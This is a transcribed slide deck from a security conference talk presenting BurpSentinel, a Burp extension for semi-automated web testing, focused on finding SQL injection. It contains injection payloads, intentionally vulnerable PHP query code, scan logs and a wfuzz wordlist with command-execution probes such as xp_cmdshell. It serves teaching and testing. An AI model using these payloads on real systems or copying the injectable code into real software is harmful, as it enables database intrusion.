SlideShare a Scribd company logo
1 of 128
Download to read offline
BurpSentinel 
Burp Extension 
Dobin Rutishauser 
Compass Security Schweiz AG 
bsidesvienna 2014 
Version 0.4, 2014
Intro 
โ— Uhm, welcome to bsides i guess? 
โ— Glad you could make it this early! 
โ— I hope everyone had his/her coffee 
โ€“ Or wine
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
About Me 
โ— Security Analyst at Compass Security AG since 2011 
โ— Team Teso fanboy back in the days' 
โ€“ And GOBBLES 
โ— Covert channel hopper FreeBSD 6.0 kernel backdoor 
โ€“ So many reboots... 
โ— Remote exploits for telnetd, samba, and more 
โ€“ no 0-days 
โ— Kryptocrew, Computec, UNF, Diesel Power, #bsdger, 
de.org.ccc, 19C3, ...
About this presentation 
โ— I assume you know about XSS, SQL injections 
etc 
โ— And how to find those vulnerabilities 
โ— Its about: toolz 
โ— Over 100 slides. Sorry.
Compass Security AG 
โ— Compass Security? 
โ€“ Thanks for paying the trip! 
โ€“ Security Pentests and stuff 
โ€“ Hacking Lab 
โ€“ European Cyber Security Challenge (ECSC)
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
Motivation 
Work in a Security Pentesting Company: 
โ— Test 1 Webapp each week 
โ— โ€žPlease find ALL the vulnerabilitiesโ€œ 
โ— โ€žNO automated scanning, its a production 
system for a 1 billion usersโ€œ 
โ— ALWAYS the same tests 
โ— ALWAYS the same clicks 
โ— I'm lazy
Current State of WebApp Hacking
Wanted State
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Other SQL Injection Scanners 
โ€“ Sentinel & SQL Injections 
โ— Conclusion
Web Application 
HTTP Request HTTP Response
Discovery 
Resource 
Selection 
Input/Attack 
Generator 
Input Blackbox Output 
Analyze 
Parameter 
Selection 
Find 
Actions 
URL's 
Requests 
GET 
POST 
COOKIE 
Vulnerability Discovery 
Content 
Length 
HTTP 
Code
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
Automated Vulnerability Discovery 
โ— Acunetix Web Vulnerability Scanner 
โ— W3AF 
โ— Burp Scanner 
โ— Many (MANY) others 
โ€“ Its sexy 
โ€“ Its cool 
โ€“ It looks like matrix!
Automated Vulnerability Discovery 
Discovery 
Ressource 
Selection 
Input/Attack 
Generator 
Input Blackbox Output 
Analyze 
Parameter 
Selection 
Automated 
Unrealiable 
Automated 
Dumb 
Automated 
Dumb 
Automated 
Intransparent Automated 
Intransparent
Automated VD - Advantages 
โ— Find low hanging fruits 
โ— Tests for a lot of different vulnerabilities 
โ— Tests a lot of different resources
Automated VD - Problems 
โ— Dont know which attacks it performs 
โ— Or if it performs them correctly 
โ— Maybe it logouts on the first request? 
โ— Maybe it deletes the database? 
โ— Maybe it crashes the system? 
โ— Time needed: 
โ€“ Configure it 
โ€“ Weed out false positives / recheck 
โ€“ โ€žBabysittingโ€œ
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Other SQL Injection Scanners 
โ€“ Sentinel & SQL Injections 
โ— Conclusion
Intercepting Proxy 
โ— Burp 
โ— ZAP 
โ— (Others)
Burp User Interface 
DDiissccoovveerryy 
RReessoouurrccee SSeelleeccttiioonn
Burp User Interface 
RReessoouurrccee SSeelleeccttiioonn 
PPaarraammeetteerr SSeelleeccttiioonn 
AAttttaacckk GGeenneerraattiioonn 
AAnnaallyyzzee
Manual Vulnerability Discovery 
Discovery 
Ressource 
Selection 
Input/Attack 
Generator 
Input Blackbox Output 
Analyze 
Parameter 
Selection 
Manual 
Reliable 
Manual 
Transparent 
Smart 
Manual 
Transparent 
Smart 
Manual 
Transparent 
Manual 
Transparent
Manual VD - Advantages 
โ— Can find difficult vulnerabilities 
โ€“ Sql injection in URL encoded JSON variable name-part 
โ— Can find vulnerabilities in multi-step processes 
โ€“ Create order โ†’ add stuff โ†’ simulate โ†’ execute โ†’ 
view โ†’XSS 
โ— Can find logic bugs 
โ€“ Webshop: โ€žorder -1 itemsโ€œ
Manual VD - Problems 
โ— Always generate the same inputs, look for 
same outputs 
โ€“ OR 1=1 /* 
โ€“ AAAA<a>'โ€œ 
โ— Always look through 10 kb HTTP responses 
โ— Tedious with current tools
Compare Manual/Automated 
โ— Each of them has their purpose 
โ— But why not combine them?
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Other SQL Injection Scanners 
โ€“ Sentinel & SQL Injections 
โ— Conclusion
Development History 
โ— AWAKE, ~2002 
โ€“ Spider, HTML View, Link Manual Attack 
โ€“ Perl, MySQL, Web Based 
โ€“ Discontinued because of UI 
โ— AWAKE2, 2004-2006 
โ€“ Similar to ZAP 
โ€“ Java / Swing / Netbeans 
โ€“ Discontinued because of reinventing the wheel 
โ— ZAP, 2011-2012 
โ€“ Primarily ZAP UI 
โ€“ Discontinued because of ancient/obsolete/spaghetti code 
โ— Sentinel, 2012-? 
โ€“ BURP Plugin 
โ€“ ZAP Plugin is work in progress 
โ€“ Awesomeness!
What is Sentinel? 
โ— User: send a HTTP Request to Sentinel 
โ— Attack some params with predefined set of 
attack vectors 
โ— Try to Interpret response 
โ— Show everything to the user 
โ— Show EVERYTHING
Sentinel
XSS with Sentinel 1/2
XSS with Sentinel 1/2
XSS with Sentinel 2/2 
>
XSS with Sentinel 2/2
Demo Time 
Sorry if the font is too small! 
I'm glad we are in a cinema
Other Sentinel Features 
โ— Diff 
โ— UI Link 
โ— Attack Lists 
โ— Categorizer 
โ— Firefox Plugin
XSS with Sentinel 
โ— Add Identifier to original parameter 
โ— If identifier is reflected on response, add: 
โ€“ %3Cp%3E%22 
โ€“ <p>" 
โ€“ %22%3D 
โ€“ "= 
โ— All you ever need?
Sentinel advantages 
โ— Very targeted attacks 
โ€“ On specific resources / arguments 
โ— But still automated 
โ— Compare response: original / attack 
โ— Easily find vuln's with minimal change in 
response 
โ— No need for external tool or to import HTTP 
request
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
SQL Injections 
โ— Categories: 
โ€“ Error Message (trivial) 
โ€“ Blind 
โ€“ Completely Blind (out of scope) 
โ— Types: 
โ€“ SELECT 
โ€“ INSERT 
โ€“ UPDATE 
โ€“ DELETE
Focus: Blind 
SELECT SQL Injection 
$query = โ€œSELECT id 
FROM users 
WHERE name = 'โ€œ + $var + โ€œ' โ€œ; 
SELECT id 
FROM users 
WHERE name = 'root'
Focus: Blind 
SELECT SQL Injection 
Input Type Input Output 
Original root โ€žUser ID: 1โ€œ 
Inexistant rootbbbb โ€žUser Not foundโ€œ 
Broken SQL root' โ€žErrorโ€œ 
Valid SQL Root' || ' โ€žUser ID: 1โ€œ
Focus: Blind 
SELECT SQL Injection 
Input Type Input Output 
Original root โ€žUser ID: 1โ€œ 
Inexistant rootbbbb โ€žUser Not foundโ€œ 
Broken SQL root' โ€žUser Not foundโ€œ 
Valid SQL Root' || ' โ€žUser ID: 1โ€œ
How to identify SQL injection?
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Other SQL Injection Scanners 
โ€“ Sentinel & SQL Injections 
โ— Conclusion
How to โ€žunbreakโ€œ SQL statements? 
' OR 1=1 -- 
' OR 1=1) -- 
') OR 1=1 -- 
โ€ฆ 
???
Test Database 
CREATE TABLE users ( 
id INT, 
name VARCHAR(100), 
password VARCHAR(100) 
); 
INSERT INTO users VALUES (0, 'root', 'pw1'); 
INSERT INTO users VALUES (1, 'nobody', 'pw2'); 
INSERT INTO users VALUES (2, 'aaaa', 'pw3'); 
INSERT INTO users VALUES (666, 'dobin', 'pw3');
All possible SQL SELECT's 
โ— SELECT โ€ฆ FROM users 
WHERE name = 'root' 
WHERE id = 1 
WHERE id = '1' 
WHERE โ€ฆ ASC, DESC
โ— SQL SELECT 
โ€“ FROM users WHERE name = 'aaaa' 
Attack Vector MYSQL MSSQL 
2008 R2 
PostresSQL 
9.1 
Oracle SQLite 
aaaa'' 0 Results 0 Results 0 Results 0 Results 0 Results 
aa''aa 0 Results 0 Results 0 Results 0 Results 0 Results 
aa' 'aa Ok Error Error Error Error 
aa' + 'aa 3 Results Ok Error Error 0 Results 
aa' || 'aa 0 Results Error Ok Ok Ok 
aa' /**/ 'aa Ok Error Error Error Error 
concat('aa', 'aa') Ok Error Ok Ok Error 
aaaa' AND '1'='1 Ok Ok Ok Ok Ok
โ— SQL SELECT 
โ€“ FROM users WHERE name = 'aaaa' 
Attack Vector MYSQL MSSQL 
2008 R2 
PostresSQL 
9.1 
Oracle SQLite 
aaaa'' 0 Results 0 Results 0 Results 0 Results 0 Results 
aa''aa 0 Results 0 Results 0 Results 0 Results 0 Results 
aa' 'aa Ok Error Error Error Error 
aa' + 'aa 3 Results Ok Error Error 0 Results 
aa' || 'aa 0 Results Error Ok Ok Ok 
aa' /**/ 'aa Ok Error Error Error Error 
concat('aa', 'aa') Ok Error Ok Ok Error 
aaaa' AND '1'='1 Ok Ok Ok Ok Ok
โ— SQL SELECT 
โ€“ FROM users WHERE id(int) = 1 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle SQLite 3 
666'' Error Error Error Error Error 
0+1 ok ok ok ok ok 
2-1 ok ok ok ok ok 
66/**/6 Error Error Error Error Error 
66 || 6 3 Results Error Error ok ok 
666/**/ ok ok ok ok ok 
666 AND 1=1 ok ok ok ok ok
โ— SQL SELECT 
โ€“ FROM users WHERE id(int) = 1 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle SQLite 3 
666'' Error Error Error Error Error 
0+1 ok ok ok ok ok 
2-1 ok ok ok ok ok 
66/**/6 Error Error Error Error Error 
66 || 6 3 Results Error Error ok ok 
666/**/ ok ok ok ok ok 
666 AND 1=1 ok ok ok ok ok
โ— SQL SELECT 
โ€“ FROM users WHERE id(int) = '1' 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle SQLite 3 
0+1 Wrong: 0 Error Error Error 0 Res 
2-1 Wrong: 2 Error Error Error 0 Res 
66/**/6 Wrong: 66 Error Error Error 0 Res 
66' + '6 0 Results Ok Error 0 
Results 
0 Res 
66' + '600 Ok 0 Res Error Ok Ok 
66' || '6 Wrong: All Error Error 0 
Results 
Ok 
0' + concat('66', '6') + '0 Ok Error Error Ok Error 
0' || concat('66', '6') || '0 Wrong: All Error Error 0 
Results 
Error 
660' + CAST(6 AS int) + '0 Error Ok Ok Ok Ok 
660' + 0 + '0 Ok Ok Ok Ok Ok 
666'' Ok Error Error Error 0 Res
โ— SQL SELECT 
โ€“ FROM users WHERE id(int) = '1' 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle SQLite 3 
0+1 Wrong: 0 Error Error Error 0 Res 
2-1 Wrong: 2 Error Error Error 0 Res 
66/**/6 Wrong: 66 Error Error Error 0 Res 
66' + '6 0 Results Ok Error 0 
Results 
0 Res 
66' + '600 Ok 0 Res Error Ok Ok 
66' || '6 Wrong: All Error Error 0 
Results 
Ok 
0' + concat('66', '6') + '0 Ok Error Error Ok Error 
0' || concat('66', '6') || '0 Wrong: All Error Error 0 
Results 
Error 
660' + CAST(6 AS int) + '0 Error Ok Ok Ok Ok 
660' + 0 + '0 Ok Ok Ok Ok Ok 
666'' Ok Error Error Error 0 Res
โ— SQL SELECT 
โ€“ FROM users WHERE โ€ฆ ORDER BY ASC 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle 
12.1.0 
SQLite 
ASC/**/ Ok Ok Ok Ok Ok 
ASC'' Error Error Error Error Error 
ASC AND 1=1 Error Error Error Error Error
โ— SQL SELECT 
โ€“ FROM users WHERE โ€ฆ ORDER BY ASC 
Attack Vector MYSQL MSSQL PostresSQL 
9.1 
Oracle 
12.1.0 
SQLite 
ASC/**/ Ok Ok Ok Ok Ok 
ASC'' Error Error Error Error Error 
ASC AND 1=1 Error Error Error Error Error
Fazit: Real tautology SQL 
โ€žAll the attack vectors you ever needโ€œ 
โ— String: 
โ€“ aa' 'aa 
โ€“ aa' + 'aa 
โ€“ aa' || 'aa 
โ— Int: 
โ€“ 1+1-1 
โ— Int with quotes: 
โ€“ 1' + 0 + '0 
โ— ASC/DEC: 
โ€“ /**/
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
Sentinel-sql1
Sentinel-sql1
Sentinel-sql2
Sentinel-sql2
SQL Injection Conclusion 
โ— Need not more than the 6 attack vectors 
โ€“ They are the most versitale and 
โ— Plus: 
โ€“ Encode it as double quotes โ€œ instead of single 
quote ' 
โ— Plus: 
โ€“ URL encode or not (depending on situation) 
โ— Check the results manually with diff
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
SQL Scanner 
โ— Check implementations of other SQL scanners 
โ€“ Simple Select 
try { 
$file_db = new PDO('sqlite:db/testdb.sqlite'); 
$file_db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 
$result = $file_db->query( 
"SELECT id FROM users WHERE name='" . $var_param . "'" 
); 
foreach($result as $row) { 
$var_output = "Username ID: <b>" . $row['id'] . "</b>"; 
} 
} catch(PDOException $e) { 
}
SQL Scanner Summary 1: 
Simple 
Select 
Difficulty 1 
Brackets 
AND 
Difficulty 2 
Random 
Length 
Difficulty 3 
SQL 
INSERT 
Difficulty 4 
SQL 
Update 
Skipfish No 
Wapiti No 
W3af Yes 
Zap Yes 
Burp Pro Yes
Finding SQL Injections: Difficulties 
Difficulty 1: Brackets and AND 
Difficulty 2: Non-static responses 
Difficulty 3: UPDATE 
Difficulty 4: INSERT
Difficulty 1: Brackets and AND 
โ— Insert brackets 
โ— Insert AND, OR, ... 
$result = $file_db->query(" 
SELECT id 
FROM users 
WHERE (name=' " . $var_param . " ' AND id >= 0)" 
);
Difficulty 2: Non-static responses 
โ— Responses to identical requests can differ 
โ— Examples: 
โ€“ AD Banner includes 
โ€“ โ€žPage generated in: 0.005 secondsโ€œ 
โ€“ Loadbalancer (server9 vs server10) 
โ€“ Viewstates 
โ€“ Cookie values (Tracking) 
โ€“ Refferer 
โ€“ etc
Difficulty #3: UPDATE 
UPDATE users 
SET name=' " . $var_param . " ' 
WHERE id=666" 
โ— Try: hacker' OR 1=1 -- 
โ— A reason for long conference calls
Difficulty #4: INSERT 
INSERT 
INTO users (id, name, pw) 
VALUES ('1111', ' " . $var_param . " ', 'empty')
SQL Scanner Summary 2: 
Simple 
Select 
Difficulty 1 
Brackets 
AND 
Difficulty 2 
Random 
Length 
Difficulty 3 
SQL 
INSERT 
Difficulty 4 
SQL 
Update 
Skipfish No No No No No 
Wapiti No No No No No 
W3af Yes Yes No No No 
Zap Yes Yes No No No 
Burp Pro Yes Yes No No No
How to reliably kill SQL scanner? 
Add a random length string in response...
Lets check the Acuentix Test website
Real Life Example: 
Acunetic Acuart Vulnerable Testphp
Real Life Example: 
Acunetic Acuart Vulnerable Testphp 
โ— Skipfish: Nah 
โ— Wapiti: Nope... 
โ— W3af: Not possible to scan (POST) 
โ— ZAP: XSS! 
โ— Burp: Yes (300 requests) 
searchFor=a'%2b(select%20*%20from%20 
(select(sleep(20)))a)%2b'&goButton=go
Real Life Example: 
Acunetic Acuart Vulnerable Testphp
Real Life Example: 
Acunetic Acuart Vulnerable Testphp
Real Life Example: 
Acunetic Acuart Vulnerable Testphp 
POST /search.php?test=query HTTP/1.1 
Host: testphp.vulnweb.com 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://testphp.vulnweb.com/search.php?test=query 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 26 
goButton=go&searchFor=a'+'
Content 
โ— Intro 
โ— Motivation 
โ— About Web App Hacking 
โ€“ Automated Scanners 
โ€“ Manual Hacking 
โ€“ Semi Automated: Sentinel 
โ— Learning by doing: SQL Injection 
โ€“ Super Short Intro to SQL Injections 
โ€“ Tautology based SQL Injections 
โ€“ Sentinel & SQL Injections 
โ€“ Other SQL Injection Scanners 
โ— Conclusion
Web App Hacking 1.0 
โ— Browser 
โ€“ + Hackbar 
โ€“ + F12 
โ— Intercepting Proxy 
โ— And some automated scanners
Web App Hacking 1.0
Web App Hacking 2.0?
Plug n Hack
โ€œSend to Burpโ€ 
Send to Burp 
โ— Nope! 
โ— Only Tab URL 
โ— No Post 
โ— No Header 
โ— Just not 
possible ?
Sentinel FF Plugin 
โ— Next to Sentinel 
โ— Next to Repeater 
โ— Enable Intercept 
โ— Disable Intercept
Sentinel FF Plugin
Todo List 
โ— Request Chainer 
โ€“ Chain several request/responses together 
โ€“ Ex: Upload file โ†’ get file id โ†’ view file 
โ€“ Work in Progress 
โ— Zap Extension 
โ€“ Nearly done
Burp Plugin Development 1/2 
โ— Its easy! 
โ€“ Java, python, ruby 
โ— Implement HTTP Listener 
โ— Listener gets called with HTTP 
Request/Response as ByteArray 
โ— Parameters are already parsed 4 u 
โ— Do with it what you want 
โ€“ Burp.sendHttpMessage() 
โ€“ Message.addVulnerability()
Burp Plugin Development 2/2
Web Attack Tools 
โ— There's more than just automated and manual 
scanner 
โ— Let the user/hacker think by themself 
โ— Make it easy to use 
โ— Make it user friendly! 
โ— Integrate seamless in existing tools 
โ— What it does should be transparent/visible
Call for action 
โ— Dont be that guy who creates yet another sql scanner 
โ— Improve existing tools 
โ— Integrate Tools 
โ— Export/Import files seamless 
โ— Create plugins 
โ— Improve UI 
โ— Test Tools 
โ— Write about them
Resources 
โ— ZAP 
โ€“ http://code.google.com/p/zaproxy/ 
โ€“ Psiion is a great guy! 
โ— Burp 
โ€“ http://portswigger.net/burp/extender/ 
โ€“ Not open source, but good / free edition 
โ— OWASP 
โ€“ https://www.owasp.org/index.php/Category:OWASP_ 
Project 
โ€“ It tries to not suck anymore
Sentinel 
โ— Sentinel: 
โ€“ https://github.com/dobin/BurpSentinel 
โ— My Twitter: 
โ€“ https://twitter.com/dobinrutis 
โ— Email: 
โ€“ dobin@broken.ch
I still have time?!
Just some SQL troubles 
aka 
SQL Injection Pitfalls
SQL Pitfalls: 
SELECT TROUBLES 
โ— SELECT ... WHERE name IN ('aaa', 'bbb') 
โ— WHERE name IN ('aaa' OR '1'='1', 'bbb') 
โ€“ Does only work in MySQL...
SQL Pitfalls: 
MySQL and INT with STRING 
mysql> SELECT id FROM users WHERE id = '1a1'; 
+------+ 
| id | 
+------+ 
| 1 | 
+------+ 
mysql> SELECT id FROM users WHERE id = '1+1'; 
+------+ 
| id | 
+------+ 
| 1 | 
+------+
SQL with OR 
mysql> SELECT name, password FROM users 
WHERE name="root" AND password = "WRONG"; 
Empty set (0.00 sec) 
mysql> SELECT name, password FROM users 
WHERE name="root" OR 1=2 AND password = "WRONG"; 
+------+----------+ 
| name | password | 
+------+----------+ 
| root | pw1 | 
+------+----------+
SQL non SELECT 
INSERT INTO users (id, name, password) 
VALUES (0, 'root', 'pw1'); 
INSERT INTO users 
VALUES (0, 'root', 'pw1'); 
UPDATE users 
SET name = "root" 
WHERE id = 778; 
Tautology works here too!
Fazit: Real tautology SQL 
โ€žAll the attack vectors you ever needโ€œ 
โ— String: 
โ€“ aa' 'aa 
โ€“ aa' + 'aa 
โ€“ aa' || 'aa 
โ— Int: 
โ€“ 1+1-1 
โ— Int with quotes: 
โ€“ 1' + 0 + '0 
โ— ASC/DEC: 
โ€“ /**/
SQL Scanner Analysis
Skipfish 
Skipfish SQL detection function: 
/* Got all data: 
misc[0] = 9-8 (or orig-0) 
misc[1] = 8-7 (or orig-0-0) 
misc[2] = 9-1 (or orig-0-9) 
misc[3] = [orig]'" 
misc[4] = [orig]'" 
misc[5] = [orig]'" 
misc[6] = 9 - 1 (or orig - 0 - 0) 
misc[7] = 9 1 - (or orig 0 0 - -) 
misc[8] == [orig]''''"""" 
misc[9] == [orig]'"'"'"'" 
If misc[0] == misc[1], but misc[0] != misc[2], probable (numeric) SQL 
injection. Ditto for misc[1] == misc[6], but misc[6] != misc[7]. 
If misc[3] != misc[4] and misc[3] != misc[5], probable text SQL 
Injection. 
If misc[4] == misc[9], and misc[8] != misc[9], probable text SQL 
injection. 
*/
Skipfish 
To that effect, skipfish puts emphasis on well-crafted probes, and on 
testing for behavioral patterns, rather than signatures. 
For example, when testing for string-based SQL injection, we compare 
the results of passing '"original_value, '"original_value, 
and '"original_value. When the first response is similar to the third one, 
but different from from the second one - we can, with a pretty high 
confidence, say that there is an underlying query injection vulnerability 
(even if query results can't be observed directly). 
Interestingly, this check is versatile enough to do a pretty good job 
detecting eval()-related vulnerabilities in PHP, and injection bugs in many 
other non-SQL query languages. 
http://lcamtuf.blogspot.ch/2010/11/understanding-and-using-skipfish.html
Skipfish
Wapiti
Wapiti 
payload = "xBF'"(" 
[...] 
else: 
err = self.__findPatternInResponse(data) 
def __findPatternInResponse(data): 
if "You have an error in your SQL syntax" in data: 
return _("MySQL Injection") 
if "supplied argument is not a valid MySQL" in data: 
return _("MySQL Injection")
Wapiti 
for payload in self.blind_sql_payloads: 
payload = self.HTTP.quote(payload.replace( 
"__TIME__", self.TIME_TO_SLEEP)) 
try: 
resp = self.HTTP.send(evil_req, headers=headers) 
data, code = resp.getPageCode() 
except requests.exceptions.Timeout: 
self.logVuln(category=Vulnerability.BLIND_SQL_INJECTION, 
break 
sleep(__TIME__)#1 
sleep(__TIME__)#[LF]1 
[VALUE],sleep(__TIME__)#1 
[VALUE]`,sleep(__TIME__)#1 
1 or sleep(__TIME__)#1 
1 or sleep(__TIME__)#[LF]1 
" or sleep(__TIME__)#1 
" or sleep(__TIME__)#[LF]1 
' or sleep(__TIME__)#1 
' or sleep(__TIME__)#[LF]1 
" or sleep(__TIME__)=" 
...
Wapiti results
Zap Active Scan
w3af 
# also with no quotes or double quotes 
true_stm: 1' OR '1'='1 
false_stm: 1' AND '1'='2 
syntaxerror_stm: d'z' 
if (body_true_stm == body_false_stm) return false 
if (semiequal (true_stm, syntaxerror_stm) ) return false 
true_stm2: 3' OR '3'='3 
false_stm2: 3' AND '3'='4 
if (! semiequal(body_true_stm2, body_true_stm) ) return false 
if (! semiequal(body_false_stm2, body_false_stm) ) return false
w3af 
[Tue 04 Nov 2014 08:55:00 PM CET] Blind SQL injection was found at: 
"http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. 
The injectable parameter is: "vulnparam". 
This vulnerability was found in the requests with ids 39 to 40. 
[Tue 04 Nov 2014 08:55:00 PM CET] Scan finished in 7 seconds. 
[Tue 04 Nov 2014 08:55:00 PM CET] Stopping the core...
w3af 
Created 1 mutants for "Method: GET | http://localhost/SentinelTestbed/sentinel-sql3.php | Query string: (vulnparam)" (query string: 1) 
Created 1 mutants for "Method: GET | http://localhost/SentinelTestbed/sentinel-sql3.php | Query string: (vulnparam)" (query string: 1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3" OR "3"="3 returned HTTP code "200" (id=33,from_cache=0,grep=1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=a'b"c'd" returned HTTP code "200" (id=34,from_cache=0,grep=1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3" AND "3"="4 returned HTTP code "200" (id=35,from_cache=0,grep=1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3' OR '3'='3 returned HTTP code "200" (id=36,from_cache=0,grep=1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=3' AND '3'='4 returned HTTP code "200" (id=37,from_cache=0,grep=1) 
Comparing body_true_response and body_false_response. 
[blind_sqli_debug] Result: True 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=d'z'0 returned HTTP code "200" (id=38,from_cache=0,grep=1) 
[blind_sqli_debug] Comparing body_true_response and body_syntax_error_response. 
[blind_sqli_debug] Result: False 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=1' OR '1'='1 returned HTTP code "200" (id=39,from_cache=0,grep=1) 
GET http://localhost/SentinelTestbed/sentinel-sql3.php?vulnparam=1' AND '1'='2 returned HTTP code "200" (id=40,from_cache=0,grep=1) 
[blind_sqli_debug] Comparing body_second_true_response and body_true_response. 
[blind_sqli_debug] Result: True 
[blind_sqli_debug] Comparing body_second_false_response and body_false_response. 
[blind_sqli_debug] Result: True 
Blind SQL injection was found at: "http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. The injectable parameter is: "vulnparam". This vulnerability was 
found in the requests with ids 39 to 40. 
Blind SQL injection was found at: "http://localhost/SentinelTestbed/sentinel-sql3.php", using HTTP method GET. The injectable parameter is: "vulnparam". This vulnerability was 
found in the requests with ids 39 to 40.
Burp Pro
Burp Pro
' wfuzz 
" 
#- -- 
'%20-- 
--'; 
'%20; 
=%20' 
=%20; 
=%20-- 
x23 
x27 
x3D%20x3B' 
x3D%20x27 
x27x4Fx52 SELECT * 
x27x6Fx72 SELECT * 
'or%20select * 
admin'-- 
<>"'%;)(&+ 
'%20or%20''=' 
'%20or%20'x'='x 
"%20or%20"x"="x 
')%20or%20('x'='x 
0 or 1=1 
' or 0=0 -- 
" or 0=0 -- 
or 0=0 -- 
' or 0=0 # 
" or 0=0 # 
or 0=0 # 
' or 1=1-- 
" or 1=1-- 
' or '1'='1'-- 
"' or 1 --'" 
or 1=1-- 
or%201=1 
or%201=1 -- 
' or 1=1 or ''=' 
" or 1=1 or ""=" 
' or a=a-- 
" or "a"="a 
') or ('a'='a 
") or ("a"="a 
hi" or "a"="a 
hi" or 1=1 -- 
hi' or 1=1 -- 
hi' or 'a'='a 
hi') or ('a'='a 
hi") or ("a"="a 
'hi' or 'x'='x'; 
@variable 
,@variable 
PRINT 
PRINT @@variable 
select 
insert 
as 
or 
procedure 
limit 
order by 
asc 
desc 
delete 
update 
distinct 
having 
truncate 
replace 
like 
handler 
bfilename 
' or username like '% 
' or uname like '% 
' or userid like '% 
' or uid like '% 
' or user like '% 
exec xp 
exec sp 
'; exec master..xp_cmdshell 
'; exec xp_regread 
t'exec master..xp_cmdshell 'nslookup www.google.com'-- 
--sp_password 
x27UNION SELECT 
' UNION SELECT 
' UNION ALL SELECT 
' or (EXISTS) 
' (select top 1 
'||UTL_HTTP.REQUEST 
1;SELECT%20* 
to_timestamp_tz 
tz_offset 
&lt;&gt;&quot;'%;)(&amp;+ 
'%20or%201=1 
%27%20or%201=1 
%20$(sleep%2050) 
%20'sleep%2050' 
char%4039%41%2b%40SELECT 
&apos;%20OR 
'sqlattempt1 
(sqlattempt2) 
| 
%7C 
*| 
%2A%7C 
*(|(mail=*)) 
%2A%28%7C%28mail%3D%2A%29%29 
*(|(objectclass=*)) 
%2A%28%7C%28objectclass%3D%2A%29%29 
( 
%28 
) 
%29 
& 
%26 
! 
%21 
' or 1=1 or ''=' 
' or ''=' 
x' or 1=1 or 'x'='y 
/ // 
//* 
*/* 
wfuzz/blob/master/wordlist/Injections/SQL.txt
wfuzz 
' 
--ora_sqls 
#mysql 
'#mysql 
and 1=1 
and USER=USER 
and user()=user() 
and 2=0 
or 2=2 
